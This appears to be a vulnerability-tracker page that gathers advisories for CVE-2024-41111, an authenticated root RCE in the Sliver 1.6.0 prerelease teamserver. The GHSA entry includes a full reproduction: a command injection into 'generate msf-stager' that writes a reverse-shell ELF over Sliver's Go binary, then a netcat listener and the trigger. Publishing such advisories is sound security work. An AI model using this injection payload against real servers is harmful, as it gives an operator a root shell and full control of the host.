Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

BishopFox Sliver Authenticated Remote Code Execution

CVSS 3.1 7.2 HIGHEUVD CVSS 3.1 7.2 CVSS 3.1 · [email protected] · Secondary 7.2 HIGHCVSS_V3 CVSS_V4 Publisher rating HIGHFixed by github.com/bishopfox/sliver 1.6.0osv · severity unknownKEV status unknown

cve-program · CVE-2024-41111

Published

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user. The exploit is pretty fun as we make the Sliver server pwn itself. As described in a past issue (#65), "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server. This issue has not yet be addressed but is expected to be resolved before the full release of version 1.6.0. Users of the 1.6.0 prerelease should avoid using Silver in production.

Read the publisher's advisory

euvd · EUVD-2024-2358

Published

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user. The exploit is pretty fun as we make the Sliver server pwn itself. As described in a past issue (#65), "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server. This issue has not yet be addressed but is expected to be resolved before the full release of version 1.6.0. Users of the 1.6.0 prerelease should avoid using Silver in production.

Read the publisher's advisory

nvd · CVE-2024-41111

Published

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user. The exploit is pretty fun as we make the Sliver server pwn itself. As described in a past issue (#65), "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server. This issue has not yet be addressed but is expected to be resolved before the full release of version 1.6.0. Users of the 1.6.0 prerelease should avoid using Silver in production.

Read the publisher's advisory

osv · GHSA-hc5w-gxxr-w8x8

Published

## Description Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user. ## Impact As described in a [past issue](https://github.com/BishopFox/sliver/issues/65), "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server. ## Reproduction First configure the Sliver server [in multiplayer mode and add an operator profile](https://sliver.sh/docs?name=Multi-player+Mode). Next, compile a slightly older version of the Sliver client. The commit after 5016fb8d updates the Cobra command-line parsing library in the Sliver client to strictly validate command flags. ``` git checkout 5016fb8d VERSION=1.6.0 make client ``` The latest server version is targeted: ``` All hackers gain exalted [*] Server v1.6.0 - bdfd89167dd47aece2397c638d482f94f3f91cba [*] Client 1.6.0 - 5016fb8d7cdff38c79e22e8293e58300f8d3bd57 [*] Welcome to the sliver shell, please type 'help' for options` ``` The exploit uses a command injection in the `generate msf-stager` to inject the `--out` flag to `msfvenom`. We overwrite Sliver's own go binary at `/root/.sliver/go/bin/go`: ``` sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/go [*] Sliver implant stager saved to: [...] ``` The other injected flags are to force a Linux payload, and not necessary if running the Sliver server on Windows. If you check the saved implant locally on the client, it's 0 bytes as the output got written to the file on the server instead. On the attacking machine, setup a netcat shell: ``` $ nc -lvp 8888 Listening on 0.0.0.0 8888 ``` Trigger the stager by running a command which executes `/root/.sliver/go/bin/go`: ``` sliver > generate beacon --mtls 1.2.3.4 [*] Generating new windows/amd64 beacon implant binary (1m0s) [*] Symbol obfuscation is enabled ⠼ Compiling, please wait ... ``` A root shell will pop: ``` $ nc -lvp 8888 Listening on 0.0.0.0 8888 Connection received on 192.168.0.183 39238 whoami root ``` The vulnerable code was introduced in https://github.com/BishopFox/sliver/pull/1281

Read the publisher's advisory

osv · GO-2024-2993

Published

Sliver Allows Authenticated Operator-to-Server Remote Code Execution in github.com/bishopfox/sliver. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/bishopfox/sliver before v1.6.0.

Read the publisher's advisory

Affected versions, risk and source history

Related advisories and sources

Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.

CVE-2024-41111 · CVE overview and exploitation status

EUVD-2024-2358

GHSA-hc5w-gxxr-w8x8

GO-2024-2993

cve-program · CVE-2024-41111

euvd · EUVD-2024-2358

nvd · CVE-2024-41111

osv · GHSA-hc5w-gxxr-w8x8

osv · GO-2024-2993

Related changes

Linked by CVE identifier

No related changes are available here.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 14:56 UTC · 274 of 275 readable · 250 fully read · 20 waiting for GitHub's hourly limit · documentation 469/469 current